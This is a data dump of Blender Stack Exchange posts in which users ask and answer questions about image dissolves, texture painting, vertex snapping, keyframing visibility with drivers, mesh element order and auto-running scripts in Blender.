  <row Id="36793" PostTypeId="2" ParentId="36748" CreationDate="2015-08-31T15:17:29.260" Score="12" Body="&lt;p&gt;To dissolve one image into another, connect the different image textures to a color mix node, before the shader node.&#xA;By animating the Mix Factor you can control the how the images change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FF3mW.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FF3mW.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cascading this node setup might work for a few images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WnyQc.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WnyQc.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you have many images, you might want to turn them into an image sequence (just renaming them with the same name and progressive numbers will work). Then load the image sequence as a texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If what you want to do is have the image change with every frame of your scene use the default options and use autorefresh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/OEjgT.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OEjgT.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to manually set the duration of each image. Set the number of frames and start frame to 1 and animate the offset value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/eTMah.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eTMah.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that by doing this the images will change from one frame to the next but will not dissolve gradually.&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2016-07-09T18:40:14.827" LastActivityDate="2016-07-09T18:40:14.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36795" PostTypeId="2" ParentId="36627" CreationDate="2015-08-31T15:27:02.807" Score="1" Body="&lt;p&gt;The problem is the rotation of the laser. go to the laser, rotate it 90* on the z axis, then &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt;&gt;&lt;em&gt;apply rotation&lt;/em&gt;. this should solve the problem.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-08-31T15:27:02.807" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36796" PostTypeId="2" ParentId="36789" CreationDate="2015-08-31T15:42:10.563" Score="1" Body="&lt;p&gt;Nope Cycles cannot bend light in arc nor Blender Internal. Only the renderer Interstellar was rendered in is capable of it as far as I know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can bend light with multiple planes with refraction shaders though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can code your own renderer.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-08-31T15:42:10.563" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36797" PostTypeId="2" ParentId="36761" CreationDate="2015-08-31T16:35:00.617" Score="2" Body="&lt;p&gt;To give the instanced strands a random lenght increase the &lt;strong&gt;&lt;em&gt;Random&lt;/em&gt;&lt;/strong&gt; value in the &lt;em&gt;Particle Instance&lt;/em&gt; modifier settings.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/jN7hw.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jN7hw.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastActivityDate="2015-08-31T16:35:00.617" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36798" PostTypeId="1" AcceptedAnswerId="36803" CreationDate="2015-08-31T17:06:54.883" Score="1" ViewCount="1011" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/YWFOd.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YWFOd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;/Users/stephanepras/Desktop/Split Glass.png&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made a nice glass by spinning a profile 360° around Z axis with Spin Tool. Then when playing with Smooth modifier I see a split appearing along the seam!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means both borders of the seam (i.e. the 0° and 360° vertices) never merged, despite I clicked AutoMerge Editing. Of course if I &quot;Apply&quot; after having used Smooth modifier, I get a glass with a slit…&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I &quot;weld&quot; both sides of the seam after a 360° spin and avoid that ?&lt;/p&gt;&#xA;" OwnerUserId="16532" LastEditorUserId="16532" LastEditDate="2015-08-31T17:13:46.670" LastActivityDate="2015-08-31T20:28:43.147" Title="Merging seam borders when using 360° Spin Tool" Tags="&lt;mesh&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36799" PostTypeId="1" AcceptedAnswerId="36800" CreationDate="2015-08-31T17:14:31.743" Score="2" ViewCount="475" Body="&lt;p&gt;i am texture painting my model and i can't figure out this: i am trying to paint with this &quot;pois texture&quot; i have made (.png with alpha) but, as you can see in ther picture, it appear without its color on the mesh. (instead of purple)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first time using Blender texture painting tools so i am sorry if this will result a very basic question.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/A5j1P.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/A5j1P.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16647" LastActivityDate="2015-08-31T17:40:21.320" Title="Why texture painting without color?" Tags="&lt;texturing&gt;&lt;texture-painting&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36800" PostTypeId="2" ParentId="36799" CreationDate="2015-08-31T17:40:21.320" Score="3" Body="&lt;p&gt;While using a brush texture in paint mode the value of the texture is mixed with the brush color.&#xA;To paint with the original color of the texture set the brush color to pure white.&lt;/p&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-08-31T17:40:21.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36801" PostTypeId="2" ParentId="36788" CreationDate="2015-08-31T17:45:19.637" Score="3" Body="&lt;p&gt;Perhaps &lt;a href=&quot;https://www.blender.org/manual/modeling/modifiers/deform/laplacian_smooth.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Laplacian Smooth&lt;/a&gt; will suit your needs better. Access it via the Specials menu (press the &lt;kbd&gt;w&lt;/kbd&gt; key while in Edit mode). The image below indicates the menu placement and (in the lower left) where to alter the parameters for Laplacian Smooth:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TpGZu.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TpGZu.png&quot; alt=&quot;Example of Laplacian Smooth, applied to the Suzanne model on right&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="621" LastEditorDisplayName="user1853" LastEditDate="2015-11-29T19:59:38.820" LastActivityDate="2015-11-29T19:59:38.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36803" PostTypeId="2" ParentId="36798" CreationDate="2015-08-31T19:11:04.340" Score="1" Body="&lt;p&gt;I would not use Spin Tool for this particular purpose, closed surface of revolution.  Remove doubles, a necessary step, did not solve the problem.  My problem was a hidden internal face problem.  Hidden faces are bad.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My initial actions produced an internal face with Spin Tool.  The face of the initial mesh.&#xA;I had to remove edges and one internal face and then bridge edge loops to get the mesh in good form.  The extra work seems unnecessary.  Consider sleuthing down an internal unwanted face.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps the best evidence is that loop cut seems to have difficultly with the resulting mesh. What appears visually as a loop has failed with Loop Cut.  It has simply created difficulties in your situation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally I [deleted face only] before the spin tool and got the correct results. If felt if I were smacked in the face with a whipped cream pie.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would use Spin Tool for corners of edited cylinders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider Screw Modifier firstly.  (Array Modifier if you feel adventurous)&lt;br&gt;&#xA;I applied the Screw Modifier.  Loop Cut worked as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Followed by Smooth Modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also just use proportional edit to achieve your [spin/lathe] shape.&lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-08-31T20:28:43.147" LastActivityDate="2015-08-31T20:28:43.147" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36806" PostTypeId="1" CreationDate="2015-08-31T19:36:10.300" Score="0" ViewCount="24" Body="&lt;p&gt;How to use the same object with modifiers  applied in different layers ?&#xA;I don't want to duplicate object and move it in another layer. I want Blender to use same amount of memory for that object. So that I could use different compositing in another layer but memory and CPU computing should stay optimized as possible.&lt;/p&gt;&#xA;" OwnerUserId="15873" LastActivityDate="2015-08-31T19:36:10.300" Title="Same object with modifiers in different layers" Tags="&lt;render-layers&gt;&lt;layers&gt;" AnswerCount="0" CommentCount="5" ClosedDate="2015-09-01T00:00:23.983" ContentLicense="CC BY-SA 3.0" />
  <row Id="36809" PostTypeId="1" AcceptedAnswerId="36836" CreationDate="2015-08-31T20:00:06.150" Score="0" ViewCount="83" Body="&lt;p&gt;Hi I've got a blend here: &lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/451/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=451&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has UV's, but only visible when selecting each object in edit mode. Each UV seems to be going to a different UV Map.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could someone guide me on where to go next in my blend to create the simple UV?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting the alpha on the UV or texture (set it to background) is one of the troubles.&lt;/p&gt;&#xA;" OwnerDisplayName="user15462" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2015-09-02T10:52:26.240" Title="Blender UV Help" Tags="&lt;mesh&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36810" PostTypeId="1" CreationDate="2015-08-31T20:09:40.480" Score="4" ViewCount="155" Body="&lt;p&gt;Is there a way to make a hotkey on the orientation and the pivot point? when you defined the workpiece of the two data: Global - active element, Norman - individual origins, view - 3D mouse ... etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;like in MODO ...&lt;a href=&quot;https://i.stack.imgur.com/QALAB.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QALAB.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14884" LastEditorUserId="599" LastEditDate="2015-08-31T20:18:28.293" LastActivityDate="2017-09-29T16:52:23.153" Title="make a hotkey to determine the orientation and the pivot point?" Tags="&lt;modeling&gt;&lt;interface&gt;&lt;shortcut&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36811" PostTypeId="1" CreationDate="2015-08-31T20:20:09.810" Score="5" ViewCount="1111" Body="&lt;p&gt;I have a parent object with over twenty child objects. I want these objects to be keyframed to toggle viewport visibility &amp;amp; restrict rendering on and off at a certain points in the timeline, using the parent object alone as a master controller (so I won't have to insert keyframes for every child object every time). I've discovered how to switch the viewport visibility and restrict rendering for all objects at once (ctrl+click on the parent's visibility or restrict rendering buttons), but that doesn't add the keyframes to the child objects in the outline; I have to add those manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: is there a way to use the parent object to assign keyframes to all of the child objects for the viewport visibility and restrict renderable options in the outline area?&lt;/p&gt;&#xA;" OwnerUserId="14519" LastActivityDate="2020-05-06T22:17:52.493" Title="Keyframe toggle visibilty for child object using parent object in outliner?" Tags="&lt;keyframes&gt;&lt;parent&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36812" PostTypeId="1" CreationDate="2015-08-31T20:27:34.310" Score="15" ViewCount="54895" Body="&lt;p&gt;How do I snap one vertex to the position of another vertex in a different object?&lt;/p&gt;&#xA;" OwnerUserId="16820" LastEditorUserId="599" LastEditDate="2015-08-31T23:52:00.420" LastActivityDate="2015-09-01T03:49:47.403" Title="How do I snap one vertex to the position of another vertex in a different object?" Tags="&lt;mesh&gt;&lt;snapping&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="36813" PostTypeId="2" ParentId="36811" CreationDate="2015-08-31T20:34:55.603" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Uvao2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Uvao2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider a [driver] which assigns to the child render state the value of the parent render state.  If you have never done this before it really is the best.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the navigation described below might best be understood with a video at some famous video site ... Search Blender Driver Tutorial... but I will provide a modest navigation here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the other mouse click to bring up the menu on the EYE of the child to add driver.  When finished the purple circle will appear as depicted below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Switch to the graph window as indicated above and view the [drivers] via the button next to the word Key on the menu.  Click on the Restrict Render on the left side to see the driver settings.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make these settings.  Just as in the image above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Type: Averaged Value.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Prop: name of your parent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Path: hide_render (which was copied as a data path)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus you  need to key frame the Restrict Render Eye of the parent only.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Ism3R.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ism3R.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are ways to copy and paste drivers from the menu of the Eye of the child.  You need to do this for each of the remaining 20 or so child objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9MmjJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9MmjJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case you have parented the children to the parent. The driver mechanism can allows you to choose any object to be the source of the render state.&lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-08-31T21:19:32.807" LastActivityDate="2015-08-31T21:19:32.807" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36814" PostTypeId="1" CreationDate="2015-08-31T20:43:14.267" Score="1" ViewCount="309" Body="&lt;p&gt;I will be much appreciated if anyone can give me a pointer.&#xA;I've no idea why there is no item but only &quot;Remove&quot; and &quot;Disconnect&quot; in the combo box of the right panel. There are actually two parts on the right surface panel, the top one is generated by me with about 100 line of code, it is flexible because I can change anything in it. However the bottom one is more elegant, it is generated through this function &quot;layout.template_node_view&quot; which I notice from the source code of &quot;Cycles&quot;, the thing is there is no other items in the combo box.&#xA;Where is the definition of this function? I searched the whole folder of blender, found nothing but references of this function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And BTW, why are the two comboboxes have different style? What are the official name of them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any tips.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/7Fv1K.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7Fv1K.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16754" LastEditorUserId="16754" LastEditDate="2015-08-31T20:54:09.230" LastActivityDate="2015-10-31T21:21:00.410" Title="Where is the definition of this function &quot;layout.template_node_view&quot;" Tags="&lt;python&gt;&lt;scripting&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36815" PostTypeId="2" ParentId="36812" CreationDate="2015-08-31T20:56:11.500" Score="17" Body="&lt;p&gt;Enable the &lt;em&gt;Snapping Tool&lt;/em&gt; (click on a magnet icon and change the snapping type to &lt;strong&gt;&lt;em&gt;Vertex&lt;/em&gt;&lt;/strong&gt;). Enabling &lt;strong&gt;&lt;em&gt;Snap onto itself&lt;/em&gt;&lt;/strong&gt; function allows you to snap the vertices within the object.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/XEodz.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XEodz.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastActivityDate="2015-08-31T20:56:11.500" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36816" PostTypeId="2" ParentId="36791" CreationDate="2015-08-31T21:12:38.817" Score="4" Body="&lt;p&gt;The order of both vertex indices stored in an edge (&lt;code&gt;me.edges[#].verts&lt;/code&gt;), or the vertices references respectively (&lt;code&gt;bm.edges[#].verts&lt;/code&gt;) should not change unless you make it so (by flipping an edge I guess).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is because the order is important. Think of a line of 3 connected edges: if you flipped the vertices referenced by the middle edge, it would still look like the same edge. But both vertices would need to be switched (as in coordinates) - but that doesn't work because they are used by other edges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Unscientific) stress test:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for area in bpy.context.screen.areas:&#xA;    if area.type == 'VIEW_3D':&#xA;        break&#xA;else:&#xA;    raise Exception()&#xA;&#xA;ctx = bpy.context.copy()&#xA;ctx[&quot;area&quot;] = area&#xA;ctx[&quot;region&quot;] = area.regions[-1]&#xA;bpy.ops.ed.undo_push(ctx)&#xA;&#xA;ob = bpy.context.object&#xA;me = ob.data&#xA;bpy.ops.object.mode_set(mode='EDIT')&#xA;print()&#xA;print()&#xA;t = {}&#xA;for e in me.edges:&#xA;    v1, v2 = e.vertices&#xA;    t[(v1, v2)] = &quot;{: 8.4f} {: 8.4f} {: 8.4f} | {: 8.4f} {: 8.4f} {: 8.4f}&quot;.format(*(me.vertices[v1].co[:] + me.vertices[v2].co[:]))&#xA;&#xA;bpy.ops.mesh.sort_elements(type='RANDOMIZE')&#xA;&#xA;bpy.ops.ed.undo_push(ctx)&#xA;me.update()&#xA;bpy.ops.transform.translate(value=(0,0,2))&#xA;bpy.ops.object.editmode_toggle()&#xA;bpy.ops.object.editmode_toggle()&#xA;bpy.ops.ed.undo(ctx)&#xA;bpy.ops.mesh.sort_elements(type='RANDOMIZE')&#xA;bpy.ops.mesh.flip_normals()&#xA;&#xA;for e in me.edges:&#xA;    v1, v2 = e.vertices&#xA;    if t[(v1, v2)] != &quot;{: 8.4f} {: 8.4f} {: 8.4f} | {: 8.4f} {: 8.4f} {: 8.4f}&quot;.format(*(me.vertices[v1].co[:] + me.vertices[v2].co[:])):&#xA;        raise Exception()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The order of geometry elements is not guaranteed on the other hand (me.&lt;em&gt;.index / bm.&lt;/em&gt;.index), although it is practically stable, as long as you add and remove in stack principle (last in, first out).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a vertex / edge / face other than the one with the highest index is deleted, all elements with a higher index will shift to fill the gap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also mesh operations to sort mesh elements based on properties like distance to camera, or randomize the indices even.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could use a custom data layer to store an explicit order (e.g. &lt;code&gt;bm.verts.layers.int&lt;/code&gt;), but beware of the value propagation: if you extrude a vertex for instance, that custom data will be carried over to the new vertex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This patch might be interesting for you: &lt;a href=&quot;https://developer.blender.org/T42865&quot; rel=&quot;nofollow&quot;&gt;https://developer.blender.org/T42865&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2015-09-01T11:12:40.320" LastActivityDate="2015-09-01T11:12:40.320" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="36817" PostTypeId="2" ParentId="36812" CreationDate="2015-08-31T21:13:39.817" Score="6" Body="&lt;p&gt;There are a couple of options that come to mind, depending upon how much precision is needed. If a vertex in the one object needs to exactly match the co-ordinates in the second, then in edit mode select the vertex at the position you want to move to, and from the snap tool menu, choose the &quot;cursor to selected&quot; option. Then switch to object mode, and select the object in which you want to move the cursor, switch to edit mode, and select the cursor you want to move, and using the snap tool, choose the &quot;selected to cursor&quot; option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If slightly less precision is needed, then in object mode, one might be able to locate the 3D cursor visually. In top view (&lt;kbd&gt;Numpad7&lt;/kbd&gt;), object mode, locate the cursor relative to the x and y axes by clicking the LMB where the cursor is to be located. Then switch to side view (&lt;kbd&gt;Numpad3&lt;/kbd&gt;), or front view (&lt;kbd&gt;Numpad1&lt;/kbd&gt;), and click the LMB to set the 3D cursor relative to the Z axis. Select the object in which you want to move the cursor, switch to edit mode, and select the cursor you want to move, and using the snap tool, choose the &quot;selected to cursor&quot; option.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="3401" LastEditDate="2015-09-01T03:49:47.403" LastActivityDate="2015-09-01T03:49:47.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36819" PostTypeId="1" AcceptedAnswerId="36824" CreationDate="2015-08-31T21:38:03.507" Score="9" ViewCount="2815" Body="&lt;p&gt;I am trying to generate thick wireframe meshes that do not appear so pointy.  The modifier generates faces at acute angles (see cross sections below) where I am trying to get square cross-sections.  Ideally the faces would be parallel with the faces of the original mesh, where possible.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an image demonstrating what I am trying to achieve (bottom row) compared with what the wireframe modifier supplies (top row). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TjeYs.png&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TjeYs.png&quot; alt=&quot;Examples of wireframes and their cross-sections&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to do this procedurally?  (And is there any hope of improved customization of the wireframe modifier?)&lt;/p&gt;&#xA;" OwnerUserId="3292" LastEditorUserId="3292" LastEditDate="2015-08-31T21:44:09.153" LastActivityDate="2016-09-05T17:37:12.357" Title="Wireframes with Square Cross-Sections?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;modifiers&gt;&lt;wireframe&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36820" PostTypeId="1" AcceptedAnswerId="36833" CreationDate="2015-08-31T22:06:02.603" Score="0" ViewCount="136" Body="&lt;p&gt;How to do this in Blender render:&#xA;&lt;a href=&quot;https://en.wikibooks.org/wiki/Blender_3D:_Noob_to_Pro/Every_Material_Known_to_Man/Light_Effects&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.wikibooks.org/wiki/Blender_3D:_Noob_to_Pro/Every_Material_Known_to_Man/Light_Effects&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Settings are there but I couldn't recreated it because some of them were replaced with new ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need B.render because I'm using halo material specific in the scene.&#xA;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to look like this &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1J7lh.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1J7lh.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;Still need a bit of tweak. How to get this white color on top of the wave ?&#xA;&lt;a href=&quot;https://dl.dropboxusercontent.com/u/13451287/bsphere.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://dl.dropboxusercontent.com/u/13451287/bsphere.blend&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/QccdC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QccdC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15873" LastEditorUserId="15873" LastEditDate="2015-09-01T08:47:37.127" LastActivityDate="2015-09-02T16:23:20.733" Title="Material and Texture to Achieve an appearance" Tags="&lt;texturing&gt;&lt;materials&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="36821" PostTypeId="1" AcceptedAnswerId="36822" CreationDate="2015-08-30T09:18:49.203" Score="3" ViewCount="1362" Body="&lt;p&gt;I have written up a script for my model. But there is a bit of a problem with it. As in I have to run the script every time I open the file. I want the script to run automatically when I open the blender File. &lt;/p&gt;&#xA;" OwnerUserId="14756" OwnerDisplayName="alec farai" LastEditorUserId="2217" LastEditDate="2015-09-03T21:37:39.237" LastActivityDate="2020-05-20T13:06:07.070" Title="Start script on open blender file" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36822" PostTypeId="2" ParentId="36821" CreationDate="2015-08-30T12:35:36.917" Score="5" Body="&lt;p&gt;There are two things you need to do -&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Setup the script in blenders text editor. The name of the text block needs to end with &lt;code&gt;.py&lt;/code&gt; and the register checkbox needs to be enabled.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/JNrPc.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JNrPc.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Ensure that &lt;a href=&quot;http://wiki.blender.org/index.php/Doc%3A2.6/Manual/Extensions/Python/Security&quot; rel=&quot;noreferrer&quot;&gt;Auto-Run Python Scripts&lt;/a&gt; is enabled in your preferences.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WQJqi.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WQJqi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" OwnerDisplayName="sambler" LastActivityDate="2015-08-30T12:35:36.917" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36823" PostTypeId="1" CreationDate="2015-08-31T22:40:37.893" Score="0" ViewCount="122" Body="&lt;p&gt;I am doing various particle simulations. There are a number of tools in blender that I would like to apply non-destructively, and have update on every frame. Specifically, remove doubles and face intersect (self). I can take my current mesh and use them, but then my mesh is frozen. It seems that I would need a modifier of these tools to get the effect I want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How difficult is it to setup a new modifier? What steps are involved? Is there another way to address this issue?&lt;/p&gt;&#xA;" OwnerUserId="13324" LastEditorUserId="13324" LastEditDate="2015-09-02T00:20:35.727" LastActivityDate="2015-09-02T00:20:35.727" Title="Update/rerun a command on every frame?" Tags="&lt;mesh&gt;&lt;scripting&gt;&lt;modifiers&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
